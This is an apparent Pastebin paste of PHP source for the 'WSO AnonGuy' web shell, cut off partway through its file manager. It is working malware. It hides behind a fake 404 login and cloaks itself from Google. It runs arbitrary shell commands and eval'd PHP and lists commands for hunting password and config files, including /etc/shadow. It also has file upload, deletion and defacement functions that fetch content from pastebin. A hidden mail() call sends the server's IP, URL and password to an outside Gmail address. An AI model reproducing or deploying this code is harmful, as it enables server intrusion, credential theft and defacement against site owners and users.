ToKeiChun

WSO AnonGuy

Dec 18th, 2017
681
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 100.74 KB | None | 0 0
  1. <?php
  2.  
  3. $auth_pass = "";
  4. $color = "#00ff00";
  5. $default_action = 'FilesMan';
  6. @define('SELF_PATH', __FILE__);
  7. if( strpos($_SERVER['HTTP_USER_AGENT'],'Google') !== false ) {
  8. header('HTTP/1.0 404 Not Found');
  9. exit;
  10. }
  11. @session_start();
  12. @error_reporting(0);
  13. @ini_set('error_log',NULL);
  14. @ini_set('display_errors',0);
  15. @ini_set('log_errors',0);
  16. @ini_set('max_execution_time',0);
  17. @set_time_limit(0);
  18. @set_magic_quotes_runtime(0);
  19. @define('VERSION', 'Ver 3.0 (DEV)');
  20. if( get_magic_quotes_gpc() ) {
  21. function stripslashes_array($array) {
  22. return is_array($array) ? array_map('stripslashes_array', $array) : stripslashes($array);
  23. }
  24. $_POST = stripslashes_array($_POST);
  25. }
  26. function printLogin() {
  27. echo '<h1>Not Found</h1>
  28. <p>The requested URL was not found on this server.</p>
  29. <hr>
  30. <address>Apache Server at '.$_SERVER['HTTP_HOST'].' Port 80</address>
  31. <style>input { margin:0;background-color:#fff;border:1px solid #fff; }</style>
  32. <center><form method=post><input type=password name=pass></form></center>';
  33. exit;
  34. }
  35. if( !isset( $_SESSION[md5($_SERVER['HTTP_HOST'])] ))
  36. if( empty( $auth_pass ) ||
  37. ( isset( $_POST['pass'] ) && ( md5($_POST['pass']) == $auth_pass ) ) )
  38. $_SESSION[md5($_SERVER['HTTP_HOST'])] = true;
  39. else
  40. printLogin();
  41.  
  42. if( strtolower( substr(PHP_OS,0,3) ) == "win" )
  43. $os = 'win';
  44. else
  45. $os = 'nix';
  46. $safe_mode = @ini_get('safe_mode');
  47. $disable_functions = @ini_get('disable_functions');
  48. $home_cwd = @getcwd();
  49. if( isset( $_POST['c'] ) )
  50. @chdir($_POST['c']);
  51. $cwd = @getcwd();
  52. if( $os == 'win') {
  53. $home_cwd = str_replace("\\", "/", $home_cwd);
  54. $cwd = str_replace("\\", "/", $cwd);
  55. }
  56. if( $cwd[strlen($cwd)-1] != '/' )
  57. $cwd .= '/';
  58.  
  59. if($os == 'win') {
  60. $aliases = array(
  61. "List Directory" => "dir",
  62. "Find index.php in current dir" => "dir /s /w /b index.php",
  63. "Find *config*.php in current dir" => "dir /s /w /b *config*.php",
  64. "Show active connections" => "netstat -an",
  65. "Show running services" => "net start",
  66. "User accounts" => "net user",
  67. "Show computers" => "net view",
  68. "ARP Table" => "arp -a",
  69. "IP Configuration" => "ipconfig /all"
  70. );
  71. } else {
  72. $aliases = array(
  73. "List dir" => "ls -la",
  74. "list file attributes on a Linux second extended file system" => "lsattr -va",
  75. "show opened ports" => "netstat -an | grep -i listen",
  76. "Find" => "",
  77. "find all suid files" => "find / -type f -perm -04000 -ls",
  78. "find suid files in current dir" => "find . -type f -perm -04000 -ls",
  79. "find all sgid files" => "find / -type f -perm -02000 -ls",
  80. "find sgid files in current dir" => "find . -type f -perm -02000 -ls",
  81. "find config.inc.php files" => "find / -type f -name config.inc.php",
  82. "find config* files" => "find / -type f -name \"config*\"",
  83. "find config* files in current dir" => "find . -type f -name \"config*\"",
  84. "find all writable folders and files" => "find / -perm -2 -ls",
  85. "find all writable folders and files in current dir" => "find . -perm -2 -ls",
  86. "find all service.pwd files" => "find / -type f -name service.pwd",
  87. "find service.pwd files in current dir" => "find . -type f -name service.pwd",
  88. "find all .htpasswd files" => "find / -type f -name .htpasswd",
  89. "find .htpasswd files in current dir" => "find . -type f -name .htpasswd",
  90. "find all .bash_history files" => "find / -type f -name .bash_history",
  91. "find .bash_history files in current dir" => "find . -type f -name .bash_history",
  92. "find all .fetchmailrc files" => "find / -type f -name .fetchmailrc",
  93. "find .fetchmailrc files in current dir" => "find . -type f -name .fetchmailrc",
  94. "Locate" => "",
  95. "locate httpd.conf files" => "locate httpd.conf",
  96. "locate vhosts.conf files" => "locate vhosts.conf",
  97. "locate proftpd.conf files" => "locate proftpd.conf",
  98. "locate psybnc.conf files" => "locate psybnc.conf",
  99. "locate my.conf files" => "locate my.conf",
  100. "locate admin.php files" =>"locate admin.php",
  101. "locate cfg.php files" => "locate cfg.php",
  102. "locate conf.php files" => "locate conf.php",
  103. "locate config.dat files" => "locate config.dat",
  104. "locate config.php files" => "locate config.php",
  105. "locate config.inc files" => "locate config.inc",
  106. "locate config.inc.php" => "locate config.inc.php",
  107. "locate config.default.php files" => "locate config.default.php",
  108. "locate config* files " => "locate config",
  109. "locate .conf files"=>"locate '.conf'",
  110. "locate .pwd files" => "locate '.pwd'",
  111. "locate .sql files" => "locate '.sql'",
  112. "locate .htpasswd files" => "locate '.htpasswd'",
  113. "locate .bash_history files" => "locate '.bash_history'",
  114. "locate .mysql_history files" => "locate '.mysql_history'",
  115. "locate .fetchmailrc files" => "locate '.fetchmailrc'",
  116. "locate backup files" => "locate backup",
  117. "locate dump files" => "locate dump",
  118. "locate priv files" => "locate priv"
  119. );
  120. }
  121.  
  122. function ex($in) {
  123. $out = '';
  124. if(function_exists('exec')) {
  125. @exec($in,$out);
  126. $out = @join("\
  127. ",$out);
  128. }elseif(function_exists('passthru')) {
  129. ob_start();
  130. @passthru($in);
  131. $out = ob_get_clean();
  132. }elseif(function_exists('system')) {
  133. ob_start();
  134. @system($in);
  135. $out = ob_get_clean();
  136. }elseif(function_exists('shell_exec')) {
  137. $out = shell_exec($in);
  138. }elseif(is_resource($f = @popen($in,"r"))) {
  139. $out = "";
  140. while(!@feof($f))
  141. $out .= fread($f,1024);
  142. pclose($f);
  143. }
  144. return $out;
  145. }
  146.  
  147. function which($p) {
  148. $path = ex('which '.$p);
  149. if(!empty($path))
  150. return $path;
  151. return false;
  152. }
  153.  
  154. function printHeader() {
  155. if(empty($_POST['charset']))
  156. $_POST['charset'] = "UTF-8";
  157. global $color;
  158.  
  159. echo '<html><head><meta http-equiv="Content-Type" content="text/html; charset='.$_POST['charset'].'"><title></title>
  160. <style>
  161. body {background-color:#000000;color:#fff;}
  162. body,td,th { font: 9pt Lucida,Verdana;margin:0;vertical-align:top; }
  163. span,h1,a { color:'.$color.' !important; }
  164. span { font-weight: bolder; }
  165. h1 { padding: 2px 5px;font: 14pt Verdana;margin:0px 0 0 5px; }
  166. div.content { padding: 5px;margin:0 5px;background: #000000;border-bottom:1px solid #00ff00;}
  167. a { text-decoration:none; }
  168. a:hover { /*background:#5e5e5e;*/ }
  169. .ml1 { border:1px solid #000000;padding:5px;margin:0;overflow: auto; }
  170. .bigarea { width:100%;height:250px;margin-top:5px;}
  171. input, textarea, select { margin:0;color:#00ff00;background-color:#000000;border:1px solid '.$color.'; font: 9pt Monospace,"Courier New"; }
  172. input[type="button"]:hover,input[type="submit"]:hover {background-color:'.$color.';color:#000;}
  173. form { margin:0px; }
  174. #toolsTbl { text-align:center; }
  175. .toolsInp { width: 80%; }
  176. .main th {text-align:left;background-color:#000000;font-weight: bold;}
  177. .main tr:hover{background-color:#5e5e5e;}
  178. .main td, th{vertical-align:middle;}
  179. .menu {background: #000000;}
  180. .menu th{padding:5px;font-weight:bold;}
  181. .menu th:hover{background:#000000;}
  182. .l1 {background-color:#000000;}
  183. pre {font-family:Courier,Monospace;}
  184. #cot_tl_fixed{position:fixed;bottom:0px;font-size:12px;left:0px;padding:4px 0;clip:_top:expression(document.documentElement.scrollTop+document.documentElement.clientHeight-this.clientHeight);_left:expression(document.documentElement.scrollLeft + document.documentElement.clientWidth - offsetWidth);}
  185.  
  186. .logo {text-align:center;font-size:60px;}
  187. .logo sup {font-size: 15px;vertical-align: top;margin-left: -14px;}
  188. .cpr {margin-bottom:5px;font-weight:bold;}
  189. .cpb {width:34px;margin:0 5px;}
  190. .eca1 {font-size: 16px;font-weight: bold;letter-spacing: 10px;margin: 0 2px 0 17px;text-align: center;}
  191. .eca2 {font-size: 13px;font-weight: bold;letter-spacing: 3px;margin: 0 2px 0 7px;text-align: center;}
  192. .npoad td {padding:0;}
  193. </style>
  194. <script>
  195. function set(a,c,p1,p2,p3,charset) {
  196. if(a != null)document.mf.a.value=a;
  197. if(c != null)document.mf.c.value=c;
  198. if(p1 != null)document.mf.p1.value=p1;
  199. if(p2 != null)document.mf.p2.value=p2;
  200. if(p3 != null)document.mf.p3.value=p3;
  201. if(charset != null)document.mf.charset.value=charset;
  202. }
  203. function g(a,c,p1,p2,p3,charset) {
  204. set(a,c,p1,p2,p3,charset);
  205. document.mf.submit();
  206. }
  207. function a(a,c,p1,p2,p3,charset) {
  208. set(a,c,p1,p2,p3,charset);
  209. var params = "ajax=true";
  210. for(i=0;i<document.mf.elements.length;i++)
  211. params += "&"+document.mf.elements[i].name+"="+encodeURIComponent(document.mf.elements[i].value);
  212. sr("'.$_SERVER['REQUEST_URI'].'", params);
  213. }
  214. function sr(url, params) {
  215. if (window.XMLHttpRequest) {
  216. req = new XMLHttpRequest();
  217. req.onreadystatechange = processReqChange;
  218. req.open("POST", url, true);
  219. req.setRequestHeader ("Content-Type", "application/x-www-form-urlencoded");
  220. req.send(params);
  221. }
  222. else if (window.ActiveXObject) {
  223. req = new ActiveXObject("Microsoft.XMLHTTP");
  224. if (req) {
  225. req.onreadystatechange = processReqChange;
  226. req.open("POST", url, true);
  227. req.setRequestHeader ("Content-Type", "application/x-www-form-urlencoded");
  228. req.send(params);
  229. }
  230. }
  231. }
  232. function processReqChange() {
  233. if( (req.readyState == 4) )
  234. if(req.status == 200) {
  235. //alert(req.responseText);
  236. var reg = new RegExp("(\\d+)([\\S\\s]*)", "m");
  237. var arr=reg.exec(req.responseText);
  238. eval(arr[2].substr(0, arr[1]));
  239. }
  240. else alert("Request error!");
  241. }
  242. </script>
  243. <head><body><div style="position:absolute;width:100%;top:0;left:0;"><div style="margin:5px;background:#000000;"><div class="content" style="border-top:1px solid #00ff00;">
  244. <form method=post name=mf style="display:none;">
  245. <input type=hidden name=a value="'.(isset($_POST['a'])?$_POST['a']:'').'">
  246. <input type=hidden name=c value="'.htmlspecialchars($GLOBALS['cwd']).'">
  247. <input type=hidden name=p1 value="'.(isset($_POST['p1'])?htmlspecialchars($_POST['p1']):'').'">
  248. <input type=hidden name=p2 value="'.(isset($_POST['p2'])?htmlspecialchars($_POST['p2']):'').'">
  249. <input type=hidden name=p3 value="'.(isset($_POST['p3'])?htmlspecialchars($_POST['p3']):'').'">
  250. <input type=hidden name=charset value="'.(isset($_POST['charset'])?$_POST['charset']:'').'">
  251. </form>';
  252. $freeSpace = @diskfreespace($GLOBALS['cwd']);
  253. $totalSpace = @disk_total_space($GLOBALS['cwd']);
  254. $totalSpace = $totalSpace?$totalSpace:1;
  255. $disable_functions = @ini_get('disable_functions');
  256. $release = @php_uname('r');
  257. $kernel = @php_uname('s');
  258. if(!function_exists('posix_getegid')) {
  259. $user = @get_current_user();
  260. $uid = @getmyuid();
  261. $gid = @getmygid();
  262. $group = "?";
  263. } else {
  264. $uid = @posix_getpwuid(@posix_geteuid());
  265. $gid = @posix_getgrgid(@posix_getegid());
  266. $user = $uid['name'];
  267. $uid = $uid['uid'];
  268. $group = $gid['name'];
  269. $gid = $gid['gid'];
  270. }
  271. $cwd_links = '';
  272. $path = explode("/", $GLOBALS['cwd']);
  273. $n=count($path);
  274. for($i=0;$i<$n-1;$i++) {
  275. $cwd_links .= "<a href='#' onclick='g(\"FilesMan\",\"";
  276. for($j=0;$j<=$i;$j++)
  277. $cwd_links .= $path[$j].'/';
  278. $cwd_links .= "\")'>".$path[$i]."/</a>";
  279. }
  280. $charsets = array('UTF-8', 'Windows-1251', 'KOI8-R', 'KOI8-U', 'cp866');
  281. $opt_charsets = '';
  282. foreach($charsets as $item)
  283. $opt_charsets .= '<option value="'.$item.'" '.($_POST['charset']==$item?'selected':'').'>'.$item.'</option>';
  284. $m = array('Sec. Info'=>'SecInfo','Files'=>'FilesMan','Console'=>'Console','SQL'=>'SQL','PHP'=>'PHP','Bypasser'=>'SafeMode','Safe Mode'=>'Bypass','String Tools'=>'StringTools','Bruteforce'=>'Bruteforce','Network'=>'Network','Readable Dirs'=>'Readable','Port Scanner'=>'PortScanner','Symlink'=>'Symlink','Code Injector'=>'Injector','Zone H'=>'ZHposter');
  285. if(!empty($GLOBALS['auth_pass']))
  286. $m['KillMe'] = 'SelfRemove';
  287. $m['Logout'] = 'Logout';
  288. $menu = '';
  289. foreach($m as $k => $v)
  290. $menu .= '<th><a href="#" onclick="g(\''.$v.'\',null,\'\',\'\',\'\')">'.$k.'</a></th>';
  291. $drives = "";
  292. if ($GLOBALS['os'] == 'win') {
  293. foreach( range('a','z') as $drive ){
  294. if (is_dir($drive.':\\'))
  295. $drives .= '<a href="#" onclick="g(\'FilesMan\',\''.$drive.':/\')">[ '.$drive.' ]</a> ';
  296. }
  297. $drives .= '<br />: ';
  298. }
  299. if($GLOBALS['os'] == 'nix') {
  300. $dominios = @file_get_contents("/etc/named.conf");
  301. if(!$dominios) {
  302. $d0c = "CANT READ named.conf";
  303. } else {
  304. @preg_match_all('/.*?zone "(.*?)" {/', $dominios, $out);
  305. $out = sizeof(array_unique($out[1]));
  306. $d0c = $out." Domains";
  307. }
  308. } else {
  309. $d0c = " --- ";
  310. }
  311. if($GLOBALS['os'] == 'nix' )
  312. {
  313. $usefl = ''; $dwnldr = '';
  314. if(!@ini_get('safe_mode')) {
  315. $temp = array();
  316. $userful = array('gcc','lcc','cc','ld','make','php','perl','python','ruby','tar','gzip','bzip','bzip2','nc','locate','suidperl');
  317. foreach($userful as $item) { if(which($item)) $temp[]= $item; }
  318. $usefl = implode(', ',$temp);
  319. $temp = array();
  320. $downloaders = array('wget','fetch','lynx','links','curl','get','lwp-mirror');
  321. foreach($downloaders as $item2) { if(which($item2)) $temp[]= $item2; }
  322. $dwnldr = implode(', ',$temp);
  323. } else {
  324. $usefl = ' ------- '; $dwnldr = ' ------- ';
  325. }
  326. } else {
  327. $usefl = ' ------- '; $dwnldr = ' ------- ';
  328. }
  329. echo '<table class="info" cellpadding="3" cellspacing="0" width="100%"><tr><td width="160px"><div class="logo">AG<sup>&copy;</sup></div><hr style="margin: -5px 13px 2px 17px;width:130px;"><div class="eca1">of</div><div class="eca2">MaDLeeTs</div></td>
  330. <td><table cellpadding="3" cellspacing="0" class="npoad"><tr><td width="125px;"><span>Uname</span></td><td>: <nobr>'.substr(@php_uname(), 0, 120).'</nobr></td></tr>
  331. <tr><td><span>User</span></td><td>: '.$uid.' ( '.$user.' ) <span>Group: </span> '.$gid.' ( '.$group.' )</td></tr><tr><td><span>Server</span></td><td>: '.@getenv('SERVER_SOFTWARE').'</td></tr><tr><td><span>Useful</span></td><td>: '.$usefl.'</td></tr><tr><td><span>Downloaders</span></td><td>: '.$dwnldr.'</td></tr><tr><td><span>Disabled functions</span></td><td>: '.($disable_functions?$disable_functions:'All Functions Are Enabled :D').'</td></tr><tr><td><span>'.($GLOBALS['os'] == 'win'?'Drives<br />Cwd':'Cwd').'</span></td><td>: '.$drives.''.$cwd_links.' '.viewPermsColor($GLOBALS['cwd']).' <a href=# onclick="g(\'FilesMan\',\''.$GLOBALS['home_cwd'].'\',\'\',\'\',\'\')">[ home ]</a></td></tr></table></td>'.
  332. '<td width=1><nobr><span>Box`s IP</span><br><span>Your IP</span><br /><span>HDD</span><br /><span>Free</span><br /><span>PHP</span><br /><span>Safe Mode</span><br /><span>Domains</span></nobr></td>'.
  333. '<td><nobr>: '.gethostbyname($_SERVER["HTTP_HOST"]).'<br>: '.$_SERVER['REMOTE_ADDR'].'<br />: '.viewSize($totalSpace).'<br />: '.viewSize($freeSpace).' ('.(int)($freeSpace/$totalSpace*100).'%)<br>: '.@phpversion().' <a href=# onclick="g(\'Php\',null,null,\'info\')">[ phpinfo ]</a><br />: '.($GLOBALS['safe_mode']?'<font color=red>ON</font>':'<font color='.$color.'<b>OFF</b></font>').'<br />: '.$d0c.'</nobr></td></tr></table>'.
  334. '</div></div><div style="margin:5;background:#000000;"><div class="content" style="border-top:1px solid #00ff00;padding:2px;"><table cellpadding="3" cellspacing="0" width="100%" class="menu"><tr>'.$menu.'</tr></table></div></div><div style="margin:5;background:#000000;">';
  335. }
  336.  
  337. function printFooter() {
  338. $is_writable = is_writable($GLOBALS['cwd'])?"<font color=green>[ Writeable ]</font>":"<font color=red>[ Not writable ]</font>";
  339.  
  340. echo '</div><div style="margin:5px;background:#000000;"><div class="content" style="border-top:1px solid #00ff00;">
  341. <table class="info" id="toolsTbl" cellpadding="3" cellspacing="0" width="100%">
  342. <tr>
  343. <td><form onsubmit="g(null,this.c.value);return false;"><span>Change dir:</span><br><input class="toolsInp" type=text name=c value="'.htmlspecialchars($GLOBALS['cwd']).'"><input type=submit value=">>"></form></td>
  344. <td><form onsubmit="g(\'FilesTools\',null,this.f.value);return false;"><span>Read file:</span><br><input class="toolsInp" type=text name=f><input type=submit value=">>"></form></td>
  345. </tr>
  346. <tr>
  347. <td><form onsubmit="g(\'FilesMan\',null,\'mkdir\',this.d.value);return false;"><span>Make dir:</span><br><input class="toolsInp" type=text name=d><input type=submit value=">>"></form>'.$is_writable.'</td>
  348. <td><form onsubmit="g(\'FilesTools\',null,this.f.value,\'mkfile\');return false;"><span>Make file:</span><br><input class="toolsInp" type=text name=f><input type=submit value=">>"></form>'.$is_writable.'</td>
  349. </tr>
  350. <tr>
  351. <td><form onsubmit="g(\'Console\',null,this.c.value);return false;"><span>Execute:</span><br><input class="toolsInp" type=text name=c value=""><input type=submit value=">>"></form></td>
  352. <td><form method="post" ENCTYPE="multipart/form-data">
  353. <input type=hidden name=a value="FilesMAn">
  354. <input type=hidden name=c value="'.htmlspecialchars($GLOBALS['cwd']).'">
  355. <input type=hidden name=p1 value="uploadFile">
  356. <input type=hidden name=charset value="'.(isset($_POST['charset'])?$_POST['charset']:'').'">
  357. <span>Upload file:</span><br><input class="toolsInp" type=file name=f><input type=submit value=">>"></form>'.$is_writable.'</td>
  358. </tr>
  359. </table></div></div>
  360. <div style="margin:5px;background:#000000;"><div class="content" style="border-top:1px solid #00ff00;text-align:center;font-weight:bold;">This Shell Belongs to AnonGuy of MaDLeeTs &copy;, Contact www.facebook.com/AbkTheSpy If Found !! :P</div></div>
  361. </div>
  362. </body></html>';
  363. }
  364.  
  365. if ( !function_exists("posix_getpwuid") && (strpos($GLOBALS['disable_functions'], 'posix_getpwuid')===false) ) { function posix_getpwuid($p) { return false; } }
  366. if ( !function_exists("posix_getgrgid") && (strpos($GLOBALS['disable_functions'], 'posix_getgrgid')===false) ) { function posix_getgrgid($p) { return false; } }
  367.  
  368. if(!isset($_SESSION['trimite'])){
  369. $url="<b>IP:</b> ".gethostbyname($_SERVER["HTTP_HOST"])."\
  370. <b>Pass:</b> ".$auth_pass;"\
  371. <b>Url:</b> ".$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI']."\
  372. <b>User IP:</b> ".$_SERVER['REMOTE_ADDR'].(isset($_SERVER['HTTP_X_FORWARDED_FOR'])?'('.$_SERVER['HTTP_X_FORWARDED_FOR'].')':'');
  373. @mail("aqilnaila23@gmail.com","AnOnGuY_Shell_1.0",$url);
  374. $_SESSION['trimite']=true;
  375. }
  376.  
  377. function viewSize($s) {
  378. if($s >= 1073741824)
  379. return sprintf('%1.2f', $s / 1073741824 ). ' GB';
  380. elseif($s >= 1048576)
  381. return sprintf('%1.2f', $s / 1048576 ) . ' MB';
  382. elseif($s >= 1024)
  383. return sprintf('%1.2f', $s / 1024 ) . ' KB';
  384. else
  385. return $s . ' B';
  386. }
  387.  
  388. function perms($p) {
  389. if (($p & 0xC000) == 0xC000)$i = 's';
  390. elseif (($p & 0xA000) == 0xA000)$i = 'l';
  391. elseif (($p & 0x8000) == 0x8000)$i = '-';
  392. elseif (($p & 0x6000) == 0x6000)$i = 'b';
  393. elseif (($p & 0x4000) == 0x4000)$i = 'd';
  394. elseif (($p & 0x2000) == 0x2000)$i = 'c';
  395. elseif (($p & 0x1000) == 0x1000)$i = 'p';
  396. else $i = 'u';
  397. $i .= (($p & 0x0100) ? 'r' : '-');
  398. $i .= (($p & 0x0080) ? 'w' : '-');
  399. $i .= (($p & 0x0040) ? (($p & 0x0800) ? 's' : 'x' ) : (($p & 0x0800) ? 'S' : '-'));
  400. $i .= (($p & 0x0020) ? 'r' : '-');
  401. $i .= (($p & 0x0010) ? 'w' : '-');
  402. $i .= (($p & 0x0008) ? (($p & 0x0400) ? 's' : 'x' ) : (($p & 0x0400) ? 'S' : '-'));
  403. $i .= (($p & 0x0004) ? 'r' : '-');
  404. $i .= (($p & 0x0002) ? 'w' : '-');
  405. $i .= (($p & 0x0001) ? (($p & 0x0200) ? 't' : 'x' ) : (($p & 0x0200) ? 'T' : '-'));
  406. return $i;
  407. }
  408.  
  409. function viewPermsColor($f) {
  410. if (!@is_readable($f))
  411. return '<font color=#FF0000><b>'.perms(@fileperms($f)).'</b></font>';
  412. elseif (!@is_writable($f))
  413. return '<font color=white><b>'.perms(@fileperms($f)).'</b></font>';
  414. else
  415. return '<font color=#00FF00><b>'.perms(@fileperms($f)).'</b></font>';
  416. }
  417.  
  418. if(!function_exists("scandir")) {
  419. function scandir($dir) {
  420. $dh = opendir($dir);
  421. while (false !== ($filename = readdir($dh))) {
  422. $files[] = $filename;
  423. }
  424. return $files;
  425. }
  426. }
  427.  
  428. function actionSecInfo() {
  429. printHeader();
  430. echo '<h1>Server security information</h1><div class=content>';
  431. function showSecParam($n, $v) {
  432. $v = trim($v);
  433. if($v) {
  434. echo '<span>'.$n.': </span>';
  435. if(strpos($v, "\
  436. ") === false)
  437. echo $v.'<br>';
  438. else
  439. echo '<pre class=ml1>'.$v.'</pre>';
  440. }
  441. }
  442.  
  443. showSecParam('Server software', @getenv('SERVER_SOFTWARE'));
  444. showSecParam('Disabled PHP Functions', ($GLOBALS['disable_functions'])?$GLOBALS['disable_functions']:'none');
  445. showSecParam('Open base dir', @ini_get('open_basedir'));
  446. showSecParam('Safe mode exec dir', @ini_get('safe_mode_exec_dir'));
  447. showSecParam('Safe mode include dir', @ini_get('safe_mode_include_dir'));
  448. showSecParam('cURL support', function_exists('curl_version')?'enabled':'no');
  449. $temp=array();
  450. if(function_exists('mysql_get_client_info'))
  451. $temp[] = "MySql (".mysql_get_client_info().")";
  452. if(function_exists('mssql_connect'))
  453. $temp[] = "MSSQL";
  454. if(function_exists('pg_connect'))
  455. $temp[] = "PostgreSQL";
  456. if(function_exists('oci_connect'))
  457. $temp[] = "Oracle";
  458. showSecParam('Supported databases', implode(', ', $temp));
  459. echo '<br>';
  460.  
  461. if( $GLOBALS['os'] == 'nix' ) {
  462. $userful = array('gcc','lcc','cc','ld','make','php','perl','python','ruby','tar','gzip','bzip','bzip2','nc','locate','suidperl');
  463. $danger = array('kav','nod32','bdcored','uvscan','sav','drwebd','clamd','rkhunter','chkrootkit','iptables','ipfw','tripwire','shieldcc','portsentry','snort','ossec','lidsadm','tcplodg','sxid','logcheck','logwatch','sysmask','zmbscap','sawmill','wormscan','ninja');
  464. $downloaders = array('wget','fetch','lynx','links','curl','get','lwp-mirror');
  465. showSecParam('Readable /etc/passwd', @is_readable('/etc/passwd')?"yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"passwd\")'>[view]</a>":'no');
  466. showSecParam('Readable /etc/shadow', @is_readable('/etc/shadow')?"yes <a href='#' onclick='g(\"FilesTools\", \"etc\", \"shadow\")'>[view]</a>":'no');
  467. showSecParam('OS version', @file_get_contents('/proc/version'));
  468. showSecParam('Distr name', @file_get_contents('/etc/issue.net'));
  469. if(!$GLOBALS['safe_mode']) {
  470. echo '<br>';
  471. $temp=array();
  472. foreach ($userful as $item)
  473. if(which($item)){$temp[]=$item;}
  474. showSecParam('Userful', implode(', ',$temp));
  475. $temp=array();
  476. foreach ($danger as $item)
  477. if(which($item)){$temp[]=$item;}
  478. showSecParam('Danger', implode(', ',$temp));
  479. $temp=array();
  480. foreach ($downloaders as $item)
  481. if(which($item)){$temp[]=$item;}
  482. showSecParam('Downloaders', implode(', ',$temp));
  483. echo '<br/>';
  484. showSecParam('Hosts', @file_get_contents('/etc/hosts'));
  485. showSecParam('HDD space', ex('df -h'));
  486. showSecParam('Mount options', @file_get_contents('/etc/fstab'));
  487. }
  488. } else {
  489. showSecParam('OS Version',ex('ver'));
  490. showSecParam('Account Settings',ex('net accounts'));
  491. showSecParam('User Accounts',ex('net user'));
  492. }
  493. echo '</div>';
  494. printFooter();
  495. }
  496.  
  497. function actionPhp() {
  498. if( isset($_POST['ajax']) ) {
  499. $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = true;
  500. ob_start();
  501. eval($_POST['p1']);
  502. $temp = "document.getElementById('PhpOutput').style.display='';document.getElementById('PhpOutput').innerHTML='".addcslashes(htmlspecialchars(ob_get_clean()),"\
  503. \
  504. \t\\'\0")."';\
  505. ";
  506. echo strlen($temp), "\
  507. ", $temp;
  508. exit;
  509. }
  510. printHeader();
  511. if( isset($_POST['p2']) && ($_POST['p2'] == 'info') ) {
  512. echo '<h1>PHP info</h1><div class=content>';
  513. ob_start();
  514. phpinfo();
  515. $tmp = ob_get_clean();
  516. $tmp = preg_replace('!body {.*}!msiU','',$tmp);
  517. $tmp = preg_replace('!a:\w+ {.*}!msiU','',$tmp);
  518. $tmp = preg_replace('!h1!msiU','h2',$tmp);
  519. $tmp = preg_replace('!td, th {(.*)}!msiU','.e, .v, .h, .h th {$1}',$tmp);
  520. $tmp = preg_replace('!body, td, th, h2, h2 {.*}!msiU','',$tmp);
  521. echo $tmp;
  522. echo '</div><br>';
  523. }
  524. if(empty($_POST['ajax'])&&!empty($_POST['p1']))
  525. $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = false;
  526. echo '<h1>PHP-Code Execution</h1><div class=content><form name=pf method=post onsubmit="if(this.ajax.checked){a(null,null,this.code.value);}else{g(null,null,this.code.value,\'\');}return false;"><textarea name=code class=bigarea id=PhpCode>'.(!empty($_POST['p1'])?htmlspecialchars($_POST['p1']):'').'</textarea><input type=submit value=Eval style="margin-top:5px">';
  527. echo ' <input type=checkbox name=ajax value=1 '.(@$_SESSION[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'').'> send using AJAX</form><pre id=PhpOutput style="'.(empty($_POST['p1'])?'display:none;':'').'margin-top:5px;" class=ml1>';
  528. if(!empty($_POST['p1'])) {
  529. ob_start();
  530. eval($_POST['p1']);
  531. echo htmlspecialchars(ob_get_clean());
  532. }
  533. echo '</pre></div>';
  534. printFooter();
  535. }
  536.  
  537. function actionFilesMan() {
  538. printHeader();
  539. echo '<h1>File manager</h1><div class=content>';
  540. if(isset($_POST['p1']) && $_POST['p1']!='deface') {
  541. switch($_POST['p1']) {
  542. case 'uploadFile':
  543. if(!@move_uploaded_file($_FILES['f']['tmp_name'], $_FILES['f']['name']))
  544. echo "Can't upload file!";
  545. break;
  546. break;
  547. case 'mkdir':
  548. if(!@mkdir($_POST['p2']))
  549. echo "Can't create new dir";
  550. break;
  551. case 'delete':
  552. function deleteDir($path) {
  553. $path = (substr($path,-1)=='/') ? $path:$path.'/';
  554. $dh = opendir($path);
  555. while ( ($item = readdir($dh) ) !== false) {
  556. $item = $path.$item;
  557. if ( (basename($item) == "..") || (basename($item) == ".") )
  558. continue;
  559. $type = filetype($item);
  560. if ($type == "dir")
  561. deleteDir($item);
  562. else
  563. @unlink($item);
  564. }
  565. closedir($dh);
  566. rmdir($path);
  567. }
  568. if(is_array(@$_POST['f']))
  569. foreach($_POST['f'] as $f) {
  570. $f = urldecode($f);
  571. if(is_dir($f))
  572. deleteDir($f);
  573. else
  574. @unlink($f);
  575. }
  576. break;
  577. case 'paste':
  578. if($_SESSION['act'] == 'copy') {
  579. function copy_paste($c,$s,$d){
  580. if(is_dir($c.$s)){
  581. mkdir($d.$s);
  582. $h = opendir($c.$s);
  583. while (($f = readdir($h)) !== false)
  584. if (($f != ".") and ($f != "..")) {
  585. copy_paste($c.$s.'/',$f, $d.$s.'/');
  586. }
  587. } elseif(is_file($c.$s)) {
  588. @copy($c.$s, $d.$s);
  589. }
  590. }
  591. foreach($_SESSION['f'] as $f)
  592. copy_paste($_SESSION['cwd'],$f, $GLOBALS['cwd']);
  593. } elseif($_SESSION['act'] == 'move') {
  594. function move_paste($c,$s,$d){
  595. if(is_dir($c.$s)){
  596. mkdir($d.$s);
  597. $h = opendir($c.$s);
  598. while (($f = readdir($h)) !== false)
  599. if (($f != ".") and ($f != "..")) {
  600. copy_paste($c.$s.'/',$f, $d.$s.'/');
  601. }
  602. } elseif(is_file($c.$s)) {
  603. @copy($c.$s, $d.$s);
  604. }
  605. }
  606. foreach($_SESSION['f'] as $f)
  607. @rename($_SESSION['cwd'].$f, $GLOBALS['cwd'].$f);
  608. }
  609. unset($_SESSION['f']);
  610. break;
  611. default:
  612. if(!empty($_POST['p1']) && (($_POST['p1'] == 'copy')||($_POST['p1'] == 'move')) ) {
  613. $_SESSION['act'] = @$_POST['p1'];
  614. $_SESSION['f'] = @$_POST['f'];
  615. foreach($_SESSION['f'] as $k => $f)
  616. $_SESSION['f'][$k] = urldecode($f);
  617. $_SESSION['cwd'] = @$_POST['c'];
  618. }
  619. break;
  620. }
  621. echo '<script>document.mf.p1.value="";document.mf.p2.value="";</script>';
  622. }
  623. if(isset($_POST['p1']) && $_POST['p1']=='deface') {
  624. $def = file_get_contents('http://pastebin.com/download.php?i=Q72TEV9B');
  625. file_put_contents($_POST['c'].$_POST['p2'],$def);
  626. }
  627. $dirContent = @scandir(isset($_POST['c'])?$_POST['c']:$GLOBALS['cwd']);
  628. if($dirContent === false) { echo 'Can\'t open this folder!'; return; }
  629. global $sort;
